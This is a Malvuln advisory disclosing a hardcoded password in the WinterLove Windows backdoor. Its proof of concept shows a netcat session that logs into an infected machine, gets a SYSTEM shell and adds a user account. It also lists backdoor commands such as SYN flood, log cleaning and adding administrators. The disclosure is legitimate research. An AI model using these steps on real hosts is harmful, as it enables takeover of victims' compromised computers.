Backdoor.Win32.WinterLove.i Hardcoded Credential

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c6c81e8ba0a7b9da6216a78dfeccec8d.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinterLove.i  
Vulnerability: Hardcoded Weak Password  
Description: The WinterLove malware requires authentication for remote user access. However, the password "plunix" is weak and hardcoded in plaintext within the executable. Interestingly, the password also suffers from reuse, even used as part of the domain name for the website and the authors handle. Therefore, just trying the domain name and or handle as the password is enough without even inspecting the binary. Third-party attackers who connect will get handed a shell with SYSTEM integrity.  
Type: PE32  
MD5: c6c81e8ba0a7b9da6216a78dfeccec8d  
Vuln ID: MVID-2021-0341   
Disclosure: 09/09/2021  
  
  
Exploit/PoC:  
nc64.exe x.x.x.x 3043  
Need Password:plunix  
*************welcome to winter love**************  
---[ winter love v2.1 beta, by plunix ]---  
---[ HomePage: http://plunix.126.cn ]---  
CurrentDirect: C:\WINDOWS\system32  
? for help  
[plunix@root]#shell  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\WINDOWS\system32>whoami  
whoami  
nt authority\system  
  
C:\WINDOWS\system32>net user apparitionsec 666 /add  
net user apparitionsec 666 /add  
The command completed successfully.  
  
? for help  
[plunix@root]#?  
shell (to the cmd shell)  
clean (to clean log)  
ps (get the process)  
pss (get the service)  
kp (kill the process)  
ks (kill the service)  
startsock5 (Start Sock5 Proxy Server)  
stopsock5 (Stop Sock5 Proxy Server)  
startftp (start ftp server)  
stopftp (stop ftp server)  
starthttp (start http proxy)  
stophttp (stop http proxy)  
syn (SYN Flood)  
sendfile (send or receive file)  
info (Get The System Information)  
getip (Get All Local IP)  
starttln (Start Telnet Services)  
stoptln (Stop Telnet Services)  
luser (Enum The User in The Computer  
clone (Clone Administrator SID)  
opents (Open Terminal Server (3389))  
closets (Close Terminal Server (3389))  
admin (Add Administrator User)  
remove (remove this service)  
http://.../exe (Download)  
quit (quit)  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
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